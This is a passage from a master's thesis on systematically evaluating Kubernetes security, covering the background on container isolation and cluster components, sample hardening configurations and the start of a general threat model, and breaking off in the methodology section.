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Abstract

Kubernetes is a container orchestration platform growing ever more popular, and
as the software industry shifts into the container cloud, security will become
paramount. The Common Vulnerabilities and Exposures (CVEs) systems cata-
log and provide references to known vulnerabilities. The goal of this thesis is
to systematically evaluate the security situation of Kubernetes through common
mitigation strategies.

The methodology was split into two parts; a theoretical analysis, and an ex-
perimental test. Firstly, mitigation strategies were chosen and analyzed. Secondly,
CVEs for Kubernetes, Nginx ingress, and containerd were analyzed. Thereafter,
an evaluation matrix was developed. From this matrix, the mitigation strategies
were discussed and evaluated. The findings were verified in the experimental part
where Proofs of concepts for a selection of CVEs were executed against a vulner-
able cluster. Thereafter, the same exploits were executed against a cluster where
mitigation strategies were in place. The experiment validated the findings of the
theoretical analysis for the selected CVEs.

The conclusion is that the common mitigation strategies provide a foundation
that can provide a foundation as a part of a larger system. They prevent some
but not all CVEs and administrators should not rely on them solely. Moreover,
the thesis provides a systematic way of evaluating CVEs for Kubernetes that can
be expanded upon, an addition to the literature regarding Kubernetes.
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Popular Science Summary

What if washing your hands only removed 50% of pathogens instead of
90%? Should we still recommend it, and what can be done to increase
its effectiveness? Unfortunately for Kubernetes administrators, this
might be a question they should be asking themselves. Because, as
it turns out, Kubernetes – the most popular container orchestration
tool today – might need more than common mitigation strategies up
its sleeve.

The connected world is based on
cloud technology, search engines, social
media, and government services, they
all use the cloud in some way. The
prevailing technology for securing code
running in the cloud is called contain-
ers, and containerization is on the rise,
by 2023 70% of companies surveyed
by GitLab will be running containers.
Think of containers as shipping con-
tainers, they have a standardized for-
mat and can be handled regardless of
content. Software containers also re-
strict the code running inside the con-
tainer from accessing resources outside
the container. Kubernetes, developed
by Google and open-sourced – software
where the copyright license permits us-
ing and modifying the code freely – in
2014, is the most popular tool for or-
chestrating containers.

This systematic evaluation investi-
gates common mitigation strategies de-
ployed to protect Kubernetes from ma-
licious users and hackers. The com-
mon mitigation strategies are shown to
only be reasonably effective at mitiga-
tion attacks. In particular, 17 of 30
vulnerabilities were evaluated to be pre-

vented. Why should one care about a
general evaluation if each Kubernetes
instance is unique one might ask. A
Kubernetes administrator might be un-
der time constraints or have limited re-
sources and would be forced to prior-
itize. Knowing what common strate-
gies are the most relevant for the Ku-
bernetes deployment at hand is then a
valuable resource. Moreover, this anal-
ysis can also be leveraged to show lead-
ership that allocating more resources to
security is needed to heighten resilience
within the organization.

A theoretical evaluation of mitiga-
tion strategies was conducted, this anal-
ysis shined a light on the effectiveness
of said strategies. In addition to the
theoretical evaluation, an experimental
evaluation of a sample set was con-
ducted to verify the findings. The ex-
periment was conducted by executing
publicly available proof-of-concept ex-
ploits against a vulnerable Kubernetes
instance. Thereafter, applying common
mitigation strategies and executed the
same exploits to see if the results were
as expected. The exeriments confirmed
the analysis.
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Chapter 1
Introduction

1.1 Motivation
Containerization and the orchestration of containers stand for the vast majority,
more than 70% by 2023, of modern software deployment [5]. Kubernetes (K8s) is
a container orchestration tool created by Google, Kubernetes was open-sourced in
2014 and is currently a graduated Cloud Native Computing Foundation project
[6]. By 2022 46% of organizations say that they use Kubernetes to orchestrate
their containers [5]. Additionally, according to the 2021 Datadog container report,
Kubernetes is the most popular container orchestration tool [7].

Kubernetes however, is not impervious to attacks, and every day new vul-
nerabilities and attacks are staged towards it [8]. Since 2016 there have been 46
Common Vulnerabilities and Exposures (CVEs) for Kubernetes where five were
published in 2021 and 13 in 2020 [9]. This provides a large attack surface for ma-
licious actors to exfiltrate data, maliciously use resources, or conduct other forms
of corporate espionage.

1.2 Research Questions
This thesis will investigate Kubernetes, a container orchestration tool, by sys-
tematically evaluating mitigation strategies used to prevent malicious actors from
successfully performing attacks. The thesis aim is to first evaluate state-of-the-art
security concerns for Kubernetes. Moreover, the thesis assesses the state of com-
mon mitigation strategies and their uses. From there the aim is to develop an eval-
uation framework for CVEs and corresponding mitigation strategies. Thereafter,
a proof of concept test of a choice of CVEs on a typical and hardened Kubernetes
cluster will be conducted to evaluate the viability of the evaluation framework.
With the motivations and aims in mind, the following research questions have
been formulated.

RQ.1 Evaluation of Kubernetes based on CVEs of the last 2 years.

(a) What are the main areas of concern in Kubernetes?
(b) What software is involved in vulnerabilities?

1



2 Introduction

RQ.2 What is the effectiveness of common mitigation strategies?

(a) Restrictive PodSecurityPolicies
(b) Role Based Access Control
(c) Deny All Network Traffic

1.3 Elastisys
The thesis is conducted at Elastisys. Elastisys has years of experience managing
cloud services and focuses on securty and data privacy. They provide a Platform
as a Serivce and a managed Kubernetes service through their Elastisys Compliant
Kubernetes platform.

1.4 Research method
The research will be based on Common Vulnerabilities and Exposures to provide
repeatability and applicability to future CVEs. The work was carried out in two
steps, firstly two literature studies regarding Kubernetes security in general and
mitigation strategies, in particular, were conducted. These resulted in two short
papers and laid the fundamentals for the following work. The second step was to
create an evaluation framework and selection of CVEs, the CVEs were then eval-
uated against a default configuration Kubernetes cluster and a security-compliant
cluster.

In this chapter, the thesis motivates the need for an evaluation and outlines
research questions. Thereafter, background on containers, Kubernetes and its
components, vulnerability categorization, and mitigation strategies. Chapter 3
will discuss the methodology; including threat model, design, and corresponding
Kubernetes clusters. The results of the evaluation will be discussed in chapter 4
and lastly, chapter 5 will explore conclusions and future work.



Chapter 2
Background

This Chapter lays out the necessary background to understand the research in this
thesis. The chapter will discuss containers and the container cloud. Moreover, the
chapter will discuss Kubernetes and common mitigation strategies

The research is focused on the effect on security that the containerization and
orchestration of containers have. Firstly, container technology will be discussed.
Thereafter, the orchestration tool Kubernetes will be discussed with a focus on
the security functions provided. Some common tools and security strategies will
be discussed. Moreover, vulnerability categorization and mitigation strategies are
explored and discussed. Throughout the discussion, literature from both scholarly
sources and grey literature [10] will be used.

2.1 Container Cloud Architecture
Before delving into Kubernetes and containers it is valuable to look at a more
general container cloud. Containers are a way of isolating software using kernel
features to isolate and control processes and files. Containers in the form of Linux
Containers (LXC) have been around for over 10 years [11]. The cloud can be
divided into 3 basic layers with a Container Image Repository supplying container
images to the cloud. The three layers are the Orchestration layer, the Container
Layer, and the Kernel Layer. In figure 2.1 the architecture is illustrated.

The orchestration layer is tasked with orchestrating the containers, ingress,
egress, etc. The orchestration tool starts and runs containers in the container
layer with the help of a container runtime, e.g. CRI-O, containerd, etc. In this
thesis, the orchestration layer will be Kubernetes.

The container layer is concerned with the running of containers. This is pro-
vided by a high-level container runtime. The runtime will take an Open Container
Initiative (OCI) compliant container image from the image repository and use a
low-level runtime to execute the image, for example, runc, crun, etc.

The kernel layer is composed of the technologies that provide the underlying
container isolation techniques. This layer will be used by the low-level runtimes
of the container layer to run and isolate containers with kernel functions such as
namespaces, cgroups, and various CSM techniques.

3



4 Background

Figure 2.1: Container Cloud general architecture [1]

Container Images

One of the main advantages of containerization is repeatability. This is accom-
plished by container images. Images enable a version of certain software to be
deployed with the same file system, environment variables, operating system ver-
sion, and more. The standard for container images is maintained by the Open
Container Initiative and as such images that conform to the OCI standard can be
compiled and run by multiple container runtimes. OCI images are composed of
three parts, an image manifest, a filesystem (layer) serialization, and an image con-
figuration. The image manifest contains metadata regarding the container, along
with any dependencies. The metadata contains the content-addressable identity
of the filesystems to be unpacked into the runnable filesystem. The image con-
figuration contains information about the runtime environment, e.g. application
arguments, environments, etc [12].

2.2 Kernel Layer support for Containers
Container isolation is provided by the Linux kernel through two main technolo-
gies. The first technology is cgroups which limits computation resource usage
and memory for processes, secondly, the namespace technology provides isolation
of resources such that one process cannot access another process’ resources. How-
ever, more advanced security features can be accomplished with Container Security
Measures (CSM). In figure 2.2 a generic container stack is shown.
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Figure 2.2: Visualization of containers [2]
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2.2.1 Cgroups
Linux control groups, or cgroups for short, are used to limit system resource usage
for a given process. Version 1 of cgroups was presented in Linux 2.6.24 and is
still widely used, however, it is recommended to upgrade to version 2 which came
out with Linux 4.5. Each cgroup will limit system resources and when quotas are
met all processes in the same group are prevented from claiming further resources
[1, 13, 14].

There are 9 controllers in cgroups version 2 and 13 controllers in cgroups
version 1. For containers, the main controllers of concern are CPU, Memory,
and IO. These instances are maintained in a tree hierarchy, however, a file-based
interface is also provided via the sys filesystem. Container runtimes manage these
cgroups internally to limit and monitor container resource usage [1, 13, 14].

2.2.2 Kernel Namespaces
Namespaces are used to isolate into groups to limit access to system resources. A
namespace will wrap a system resource such that the processes in the namespace
have an isolated instance of that resource. Changes are visible to all processes in
the namespace, but not to other processes [1, 13, 15].

There are eight namespace types: cgroup, ipc, network, mount, pid, time,
user and uts. Linux provides a filesystem interface that can be accessed from
/proc/[pid]/ns/. Namespaces are used to isolate container instances. For ex-
ample, if a process is put into a pid namespace it can only see other processes in
that same pid namespace but not processes outside the namespace.

2.3 Container Security Measures
In addition to the fundamental technologies; cgroups and namespaces, the Linux
kernel provides three Container Security Measures (CSM) to protect the host
system from malicious actors; Mandatory Access Control (MAC), Seccomp, and
Capabilities. These measures provide fine-grained control over system calls and
user access management.

2.3.1 Mandatory Access Control
MAC policy frameworks are supported by Linux Security Modules (LSM) intro-
duced in Linux 2.6 in 2006 [16]. A MAC policy framework enables a system ad-
ministrator to write and enforce access policies through hooks on security-critical
paths in the Linux kernel. Therefore, the security of the system is tied to the
administrators’ experience and proficiency in writing policies. One application of
MAC can be the restriction of file access, such that a process in a container cannot
access files outside the container, even with root access [1]. Two common MAC
frameworks are SELinux and AppArmor [17, 18].
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2.3.2 Seccomp
Secure computing mode, seccomp, is a feature of the Linux kernel that provides a
way to isolate a process where it cannot make unauthorized syscalls. If a process
has entered seccomp mode, all child processes are also bound to the same seccomp
rules, a process that has entered seccomp mode is not able to disable seccomp.
Seccomp provides a strict mode where only read, write, exit, and sigreturn
are allowed. In addition to the strict mode, a filter mode is provided where admin-
istrators can define a Berkeley Packet Filter (BPF) to be passed to seccomp where
arbitrary syscalls can be allowed or denied [19, 20]. Docker for example provides
a default seccomp profile if none is provided [21].

2.3.3 Capabilities
In addition to the traditional user-based permission system found in Linux, ca-
pabilities provide a way to divide privileges associated with superuser capabilities
[22]. These traits are divided into 38 capabilities which can be enabled or disabled
one at a time per thread. The capability CAP_AUDIT_READ for example provides
the processes with the capability to read the audit log via a multicast netlink
socket [22].

2.4 Container Runtime Layer
Container runtimes are software concerned with running container images. They
will load container images, monitor system resources, handle isolation, and manage
the lifecycle of the container. Container runtimes can be divided into three cat-
egories: High-level runtimes, Low-level runtimes, and Sandboxed and Virtualized
runtimes.

2.4.1 Low-level runtimes
Native low-level runtimes’ main concern is the management of container lifecycles,
runtimes that are implemented according to the OCI specifications are therefore
called low-level runtimes. They do not provide other tools or interfaces to manage
additional tasks. Some popular low-level runtimes are runC, crun, and containerd
[23].

2.4.2 High-level runtimes
High-level container runtimes such as Docker, CRI-O, Windows Containers, and
Hyper-V Containers offer more than the low-level runtimes. Providing command
line interfaces, image specifications, container building service, running different
low-level runtimes, and more [23].
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2.4.3 Sandboxed and Virtualized runtimes
Sandboxed and Virtualized runtimes provide additional isolation by abstracting
a kernel such that each container has its own kernel [23]. Compare figure 2.3 to
figure 2.2. This provides additional security at the cost of performance [24]. gVisor
and kata-containers are two examples.

2.5 Kubernetes
Kubernetes is a container orchestration tool, it provides service discovery and load
balancing, storage orchestration, automated rollout and rollbacks, automated bin
packing, self-healing, and secret and configuration management [25]. Kubernetes
is used as a central part of other clustering tools, used similar to different Linux
distributions. Some of these are OpenShift, Rancher, and VMware Tanzu, the
findings in this thesis will apply to these distributions as well. However, they
might have their own mitigations already in place.

2.5.1 Component Overview
Kubernetes is firstly split into the control plane and the execution plane, the
control plane manages the cluster and the execution plane is composed of worker
nodes that run the workloads.

Worker Nodes / Execution Plane
The worker nodes are responsible for the workload of the cluster. It is composed
of two parts, kubelet, and kube-proxy. These two functions provide the functions
to run workloads on a worker node and communication in-between them.

Kubelet The kubelet is responsible for managing containers in pods. The
kubelet agent will take Pod specifications and ensure that the containers described
are running and healthy. The kubelet uses a PodSpec, a YAML or JSON object,
to manage running containers [26, 27].

Kube-proxy Kube-proxy is a network proxy that runs on each node to manage
network rules. Kube-proxy will use the operating system to filter packets if the
system provides it, otherwise the kube-proxy will forward the traffic itself [26, 28].

Master Nodes / Control Plane
The control plane is responsible for managing and controlling the cluster in accor-
dance with the configuration. It consists of the API-server, etcd, Scheduler, Kube
Controller Manager, and Cloud Controller Manager.

API-server The API-server exposes the Kubernetes API, it will validate data
and configure API objects. The API-server component supports REST operations
and acts as the front end of the cluster and state management [26].
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Figure 2.3: A visualization of virtualized/sandboxed containers [3]
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Etcd Etcd is the key-value store that holds Kubernetes’ configuration data.
It is based on the Raft algorithm, a distributed consensus algotrithm, and therefore
provides a consistent highly available storage [29].

Scheduler Kube-scheduler is the component that is responsible for assigning
a nodeless Pod a node to run on, i.e. it schedules pods onto nodes [26].

Kube Controller Manager The controller manager is the component that runs
different control processes. Some types of processes are[26]:

• Node controller: Watch nodes and restart nodes at failures.

• Job controller: Watch for job objects and create a Pod to run them.

• Endpoint controller: Populates Endpoints object (join service and Pod).

• Service Account & Token controller: Create default accounts and API access
tokens.

Cloud Controller Manager The cloud controller manager is a component to in-
terface cloud-specific control logic. The controller manager will only run controllers
that are related to the could provider. If one is running Kubernetes on-premises
there will be no cloud controller manager. Some controllers are[26]:

• Node controller: Watch nodes from the cloud provider and determine if it
is deleted at response loss.

• Route controller: Sets up routes in the underlying cloud infrastructure.

• Service controller: Creates, updates, and deletes cloud provider load bal-
ancers.

Kubernetes objects

Kubernetes objects are entities that represent the state of the cluster. They de-
scribe what applications are running, the resources available to the applications,
and the policies that describe how the applications behave (restart, upgrades, etc.)

Pods According to the Kubernetes documentation, Pods are “the smallest
deployable unit of computing in a Kubernetes” [30]. More precisely a Pod is a
group of one or more containers that share network and storage resources, and
a specification on how to run the containers. The shared context is based on
the aforementioned Linux kernel functions namespaces, cgroups, and Container
Security Measures. The containers in the Pod will as such have some shared
resources but can be further isolated [30].
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ConfigMaps ConfigMap is a Kubernetes object that is used to store configu-
ration data, note that ConfigMaps do not provide any secrecy. ConfigMaps allow
developers to separate configuration data from application code. ConfigMaps can
be consumed by a Pod in multiple ways: as environment variables, command-line
arguments, or as configuration files in a volume. Since Kubernetes v1.21 Con-
figMaps can be set to immutable [31].

2.5.2 Security Components
Kubernetes offers some extended functionality regarding security. This will be
discussed in more detail in sections 2.5.4 and 2.7, this section will discuss some
foundations of Kubernetes security.

Secrets Secrets are the Kubernetes objects that are responsible for holding
confidential data and function much the same as ConfigMaps, separating config-
uration data from source code. This separation lowers the risk of leakage during
the development and deployment of pods. However, secrets are by default stored
unencrypted in etcd. Anyone with access to a namespace can as such read a secret
in that namespace. The Kubernetes developers recommend three steps to safely
use secrets: Enable Encryption at rest1 for secrets, enable or configure RBAC
rules restricting access to secrets, and use RBAC or similar mechanisms to limit
the creation of secrets and replacing of existing secrets [32].

Role-Based Access Control Kubernetes RBAC is used to configure access for
users and workloads. The RBAC API declares four Kubernetes objects: Role,
ClusterRole, RoleBinding, and ClusterRoleBinding. An administrator will create
Roles and RoleBindings to limit access to resources for users and workloads, more
on this in sections 2.7 and 2.5.4.

Pod Security Policies Pod Security Policies (PSP) are used to control the
creation and updating of pods using granular rules set with the PodSecurityPolicy
Kubernetes object. As of Kubernetes v1.21 PSPs are deprecated and were removed
in v1.25, replaced by Pod Security Admission. An example of a policy from the
documentation that prevents the creation of privileged pods is shown in listing 2.1
[33].

Listing 2.1: Example of PodSecurityPolicy
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: example
spec:
privileged: false #Don’t allow privileged pods!
# The rest fills in some required fields .
seLinux:

1https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
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rule: RunAsAny
supplementalGroups:

rule: RunAsAny
runAsUser:

rule: RunAsAny
fsGroup:

rule: RunAsAny
volumes:
- ’*’

Pod Security Standards and Admission controller There exist three Pod Se-
curity Standards: privileged, baseline, and restricted. The policies range from
the unrestricted “privileged standard”, through the “baseline standard” that pro-
motes adaptability but mitigates known privilege escalation, to the best-practice-
following “restricted standard” [34]. Recently upgraded from beta to stable, the
Pod Security Admission controller is the successor to Pod Security Policies. The
admission controller will enforce the Pod Security Standards and take the config-
ured action on pods that do not meet the standard. An example of an admission
controller from the documentation is found in listing 2.2.

Listing 2.2: Example of Pod Security Admission controller
apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: PodSecurity

configuration:
apiVersion: pod -security.admission.config.k8s.io/v1beta1
kind: PodSecurityConfiguration
# Defaults applied when a mode label is not set.
#
# Level label values must be one of:
# - " privileged " ( default )
# - " baseline "
# - " restricted "
#
# Version label values must be one of:
# - " latest " ( default )
# - specific version like "v1 .24"
defaults:

enforce: "privileged"
enforce - version: "latest"
audit: "privileged"
audit - version: "latest"
warn: "privileged"
warn - version: "latest"

exemptions:
# Array of authenticated usernames to exempt .
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usernames: []
# Array of runtime class names to exempt .
runtimeClasses: []
# Array of namespaces to exempt .
namespaces: []

2.5.3 Storage and Networking
Storage and networking are concepts that exist within Kubernetes, however, they
are not Kubernetes components per se. It is worth exploring these concepts briefly,
however, the thesis is not concerned with the details of how these concepts are
solved within the cluster technically.

Networking
The basic Kubernetes network model is permissive by default. Each Pod in a
cluster gets its own unique cluster-wide IP address, moreover, each Pod can com-
municate with every other Pod without NAT, and agents on a node (system dae-
mons, kubelet) can communicate with all pods on that node [35]. The service is
an abstraction to expose an application running on a set of pods as a network
service. For instance, if an application is running multiple replicas of a backend
the frontend would like to connect to any one of these instances and get a response
(i.e. the backend is fungible). The service abstraction provides a way for the front
end to contact any one of these and policies on how to do so through the service.
An example from the documentation is shown in listing 2.3 [35].

Listing 2.3: Example of service for a set of pods
apiVersion: v1
kind: Service
metadata:
name: my -service
spec:
selector:

app: MyApp
ports:

- protocol: TCP
port: 80
targetPort: 9376

Storage
In Kubernetes storage is managed through volumes, both ephemeral and persis-
tent storage is available. Ephemeral storage has the same lifetime as a Pod and
persistent storage extends further than the lifetime of the Pod. A volume is in
all essence a directory, possibly populated with data, accessible to containers in
a Pod. There exist multiple types of volumes and all of them differ in how they
interact with Kubernetes and pods, for more detail see the documentation [36].
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Figure 2.4: Some attack vectors for Kubernetes [4]

2.5.4 Security Overview
Kubernetes is torn between being secure by default and ease of setup. One of
the issues is that a more secure Kubernetes distribution increases the skill floor
needed to set up a cluster. 89% of organizations say that ransomware attacks in
Kubernetes are a risk, but only a third of organizations have defenses in place
against such attacks [37]. Moreover, the native tools provided by Kubernetes to
secure pods have historically been hard to implement, in beta or generally complex
[38].

General security

Security research on Kubernetes is currently ongoing, both by academic researchers
and the community in general [39, 40, 41]. General security concerns for Kuber-
netes are mostly the same as a conventional deployment of software. However, in
addition, there are control plane components that have to be secured, these can
be likened to admin tools for conventional deployments. In figure 2.4 some attack
vectors are shown.

etcd A central part of the Kubernetes stack is the etcd distributed key-value
store, it holds configuration information about the cluster. By default, the etcd
database is not encrypted and access is not restricted. This exposes sensitive
information and the consensus is to encrypt etcd at rest and restrict access such
that one can only interact with the Kubernetes API and isolate this access behind
a firewall [42]. One interesting note on etcd is that the underlying infrastructure
can affect the etcd performance, as such a badly configured infrastructure can
increase the impact of Denial of service attacks if etcd performance is lacking [43].
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Out of date Kubernetes According to the 2020 Datadog container survey, the
most popular Kubernetes version is 17 months old, and more to the point only
around 85% were using the two newest versions [44]. This highlights the need
for solutions that are more than using the latest version of Kubernetes. That is,
administrators need a way to patch insecurities without updating Kubernetes as
a stop-gap solution.

Pod security
As the smallest building block and the de facto application that is deployed into
the Kubernetes cluster pod security is critical to a secure cluster. Following will be
a discussion on some general recommendations regarding Pod security and later a
more focused exploration of container escape.

Container escape Because the applications deployed in Kubernetes, along with
any sidecar containers, are deployed in containers the issue of container sandbox-
ing is critical. If an attacker can break the container sandboxing runtime they can
get access to the underlying system or platform. Moreover, the issue is exacer-
bated when the application is deployed in a multi-tenant situation as the breach
can result in neighboring processes leaking sensitive data [45]. Herein we see the
importance of system call scanning and the prevention of unusual calls. Another
central defense is container scanning, if the container images are vulnerable, so is
the Kubernetes cluster. Furthermore, policies that prevent the container runtime
from running as root, immutable file systems in containers, and deeper isolation
of containers via virtual machines are all defenses pertinent to the securement of
Kubernetes.

One might argue that the sandboxing and virtualization technologies among
with the easy deletion and re-population of infected pods might be sufficient. But
as the number of CVEs for Kubernetes and the Linux kernel are ever-increasing
it is important to recognize the importance of staying on top of them.

There has been some previous research into the cost of using more secure
container runtimes with additional layers of isolation. It turns out that the in-
creased security comes at a significant performance cost (≈ 40% depending on
runtime)[24].

Resource based attacks
Some attacks should be considered an attack on the resources and organization
that is hosting the Kubernetes cluster rather than an attack on Kubernetes itself.
These attacks are mostly limited to Denial of Service attacks but can also be
manipulation of employees or similar out-of-band attacks.

Denial of Service A security aspect that will be out of scope for the thesis that
is important to mention is the Denial of Service attack. A DoS attack wants to
overload and damage Kubernetes infrastructure in some way. One way is to simply
overpower the system with requests until it crashes. Another way if the Kubernetes
instance is on a public cloud is to exploit the autoscaler and cause financial damage
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to the organization via a YoYo attack [46]. Whereby the attacker sends a large
amount of data followed by a quiet period when Kubernetes has scaled up to
handle the large number of requests, causing more resources to be used [47].

Network and Authentication

Kubernetes networking is a complex issue and everything won’t be covered in the
following sections. Moreover, there exists a plethora of networking plug-ins and
replacements with their own security challenges which are out of scope of this
thesis.

RBAC Role-based access control is provided by Kubernetes, this can be used
to ensure that workloads and users only have access to what is needed [6].

Network security Kubernetes network security is out of scope more than the
note that it is per default very permissive, pods can communicate unrestricted
with each other [42]. It is also good practice to enable TLS to ensure control plane
communication is encrypted inside the cluster [48].

Namespace segregation Kubernetes provides the namespace abstraction to
partition cluster resources such that one resource does not impact another. Note
that this is not the same as Linux namespaces mentioned in 2.2.2. However,
namespaces are not isolated by default. Namespaces can however be isolated with
RBAC rules and networking policies [48].

2.5.5 Host system
The security of the host system is of utmost importance. If an attacker can gain
access to the hosts they would be able to execute malicious code and compromise
the cluster. Recommendations for hosts are generally to limit access to them by
disallowing as much traffic as possible and utilizing firewall rules to separate them.
Moreover, regular hardening as well as installing the latest patches and versions
is recommended [49].

2.6 Vulnerability categorization
As the number of vulnerabilities increases the need for a systemic way of cataloging
and categorizing them arises. One common system, CVE, for this was developed
in 1999 by David E. Mann and Steven M. Christey [50] and is currently operated
by the Mitre corporation.

2.6.1 Common Vulnerabilities and Exposures
Common Vulnerabilities and Exposures (CVE) is a system to provide a reference
method for publically known vulnerabilities. Each Vulnerability is assigned an
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identifier, a unique public identifier with the prefix “CVE-” followed by the year
and then a unique number: CVE-YEAR-NUMBER.

2.6.2 OWASP top 10
Another categorization is the OWASP top 10. OWASP, instead of assigning all
vulnerabilities only publishes the top 10 most common web application security
risks [51].

2.7 Mitigation strategies
The focus will be on pod security policies and non-root and rootless containers, as
well as container escape methods. There will be some discussion on host mitigation
strategies such as container runtime security and firewalling.

2.7.1 Common mitigation strategies
Starting with a set of general mitigation strategies from the 2022 Kubernetes
hardening guide [48] they are:

1. Reducing the number of packages in the base operating system

2. Reducing pod permissions

3. Anti-DDoS protections

4. Container scanning

5. Network separation

6. Audit logs

7. Firewalls

We can categorize them into our 3 areas of concern, Pod security, Network and
RBAC, and Host security. Item 2, 4, and 6 are related to Pod security whilst item
3, 5, and 7 are Network and RBAC related. Lastly, item 1 – and to some extent
2, 3, and 7 – is related to host security but with a different context.

Pod security
There has been some previous work on Pod security. For one there exist general
hardening and best practices [48, 49, 42]. These PodSecurityPolicies are heavily
utilized, however, as of Kubernetes version 1.21 PodSecurityPolicies are being
deprecated [52].

Moreover, pod security is heavily dependent on container runtime security
because if an attacker can escape the container to the host system with elevated
privileges they would control the node. With the work of Reeves et al., we see
that there exist a large attack surface and multiple container escape methods
[13]. Furthermore, the container runtimes make use of kernel-level features such
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as cgroups, namespaces, and other Container Security Measures such as Seccomp
and Mandatory Access Control.

However, multiple third-party admission controllers such as Kyverno, K-rail,
and OPA/Gatekeeper, exist and aim to prevent containers from performing, amongst
other things, malicious syscalls that would enable them to elevate privileges.

The best practice is running containers as non-root users, as well as preventing
containers to start as root using mustRunAsNonRoot: true to prevent privilege
escalation [53]. In addition, there are tools to automatically analyze which system
calls the container need or do not need to minimize needed syscalls [54].

Logging Logging is a central part of postmortems and real-time debugging.
It is therefore advisable to enable logging for applications, containers, and the
Kubernetes cluster as a whole. Moreover, monitoring for alerting and health checks
should be set up [42]. These logs should however not contain sensitive information
such as API keys etc [48].

Network and RBAC
Network plugins and RBAC are essential tools to manage communication and
access within the cluster. This section will briefly discuss these topics.

RBAC Kubernetes provides an RBAC system that has two types of users;
Service accounts, and Normal user accounts. The Service accounts handle Ku-
bernetes API calls to and from a pod, authentication is typically managed by
Kubernetes through the ServiceAccount Admission Controller. The main security
issue is the unauthorized use of the access tokens, these secrets should therefore be
encrypted and secured, and viewing of pod secrets should also be restricted [48].

RBAC consists of two parts, Roles and RoleBindings. These are generalized
to cluster-wide roles via ClusterRole and ClusterRoleBindings. Firstly one should
deactivate the AlwaysAllow to limit access. Thereafter, Roles can be used to add
permissions as needed to a namespace or the cluster as a whole to users, groups,
or service accounts [48].

Network Network security is a complex problem and network as a concept
is of course central to Kubernetes. Not only does it include communication with
external parties but also internal pod-to-pod communication including services.
The default is that resources are not isolated, therefore, enabling lateral movement
and exposing more components to a compromised component or container [48].

Firstly, namespaces are used to partition resources they can then be isolated
with RBAC rules preventing access from another namespace. Secondly, NSA pro-
vides a Network Policies Checklist with four items to secure traffic. They are:

• Use a CNI plugin that supports NetworkPolicy API

• Create Policies that select Pods using podSelector and/or the namespaceS-
elector

• Use a default policy to deny all ingress and egress traffic.
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• Use LimitRange and ResourceQuota policies to limit resources on a names-
pace or Pod level

Host security
Reducing the number of packages in the base operating system and firewalling the
host are two ways of securing the cluster. Firstly, the reduction of packages will
reduce the attack surface on the node when for example a container escape is suc-
cessfully executed as the number of vulnerabilities is reduced. Firewalls are a cen-
tral tool for segregating worker nodes from the control plane and protecting them
from outside network traffic. Moreover, regular patching and upgrades should be
conducted to mitigate vulnerabilities in the host operating system [48, 49].

2.7.2 Tools and strategies
Because Kubernetes is aimed at large-scale operations, naturally when these be-
came commonplace automation became inevitable. No one security engineer can
guarantee that all images are secure, but a tool that automatically scans contain-
ers at build time increases the likelihood of catching known vulnerabilities. An
interesting subject of note is the use of honeypots and “vulnerable by default”
clusters that are used to train personnel in offensive techniques [55, 39].

Third party tools As the need for a more secure Kubernetes distribution grew
third-party tools were developed to fill the gaps where they could. An example of
a Kubernetes-specific runtime policy enforcer is Gatekeeper [56].

2.8 Current knowledge gap
Despite the large amount of known Kubernetes security risks and mitigation strate-
gies, there is currently no quantification, i.e. data, of the effectiveness of these
mitigation strategies. The goal of this thesis is to fill this knowledge gap.
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Chapter 3
Methodology

The methodology focuses on a theoretical evaluation and experimental validation
of theoretical findings. Firstly, the theoretical evaluation is a systematic evalua-
tion of the CVEs for Kubernetes. Secondly, the experiments are conducted with
selected CVEs and their analyzed mitigation strategies. Thereafter, the results
are analyzed and conclusions are drawn.

3.1 Analysis of adversary
To have a more conclusive analysis the Attack Tree threat model method [57] was
used. The Attack Tree model was chosen beacuse it could capture the threats to
the system as a whole, rather than a more detailed but too expansive method.
The main goal of the analysis is to gain insights into how an adversary can ex-
ploit the system and to identify the main attack vectors. The analysis started
by investigating what end goals the adversary was concerned with, thereafter, the
adversaries tools and resources were analyzed.

The adversaries’ competence can range from a novice hacker with some re-
sources and publicly available exploits to an adversary with the competence of a
senior security researcher. Advanced persistent threat actors (APT) are excluded
from the analysis on the basis that common mitigation strategies are more akin
to hygiene routines than advanced protective measures and as such are easily sur-
passable by an APT actor.

3.1.1 Goals
Common attack motivations are often based on a monetary gain for the adversary
or a loss of operations for the target. Monetary gain could be through simply steal-
ing assets (e.g. money, credit cards, activation codes, etc.), extortion, or selling
of sensitive data such as passwords or company secrets. Loss of operations could
be a ransomware attack, hijacking or interception of internal communications,
cryptojacking, etc.

From this we construct the following goals:

1. Steal sensitive data

2. Loss of operation

21
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3. Steal monetary assets

4. Extortion for monetary gain

These goals are analyzed and expanded on to facilitate the theoretical analysis.

Steal sensitive data
To steal sensitive data the adversary has to gain unauthorized access to either
the host filesystem, logs, or traffic. Gaining access to the filesystem can be done
by a container escape or privilege escalation. Similarly to logs, the adversary has
to gain access to information outside the container. To gain some notion of the
monetary gain we note that in one case hackers asked for €500 per person for the
stolen data [58].

Loss of operation
For the target to suffer a loss of operations there need not be a total loss, but
rather a degradation of service is sufficient. This can be accomplished by DDoS-
style attacks, cryptojacking, or ransomware. For DoS attacks to be successful the
attacker has to identify a suitable component to overload, a configuration error or
bug that can be exploited are two options.

Steal monetary assets
To steal monetary assets there first have to be some kind of asset, there could for
example be a crypto wallet or credit card information. Thereafter, the adversary
has to gain access to the filesystem and find a way to extract the assets from the
Kubernetes environment.

Extortion for monetary gain
Extortion could be conducted with different goals in mind, for this goal monetary
gain is in focus. This is in contrast with the first goal “Steal sensitive data” where
the data is not necessarily stolen for monetary gain but could be stolen to gain
insider information or other espionage reasons. To extort the adversary has to have
some kind of asset as ransom, this could be sensitive information or the threat of
ransomware on the system.

3.1.2 Tools and Resources
To assess the capabilities of the adversary an analysis of the tools and resources
available to them is necessary. To limit the scope of the thesis from an APT actor
we also limit the tools and resources available. For technical tools, we assume
the adversary has access to a reasonably powerful personal computer.1 Moreover,
the adversary has a stable residential internet connection and access to the World
Wide Web. Consequently, the adversary can be expected to be able to search for

1Intel Core i5/AMD Ryzen 5, 16 GB RAM, NVIDIA 3060/AMD Radeon RX 6600
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publicly available exploits and vulnerabilities. Furthermore, the adversary can be
expected to be able to run cracking algorithms for outdated security standards
as well as automated scripts for scanning and exploiting vulnerabilities without
hindrance.

3.2 Theoretical analysis
To analyze what threats exist in the system, the attack tree threat model was used
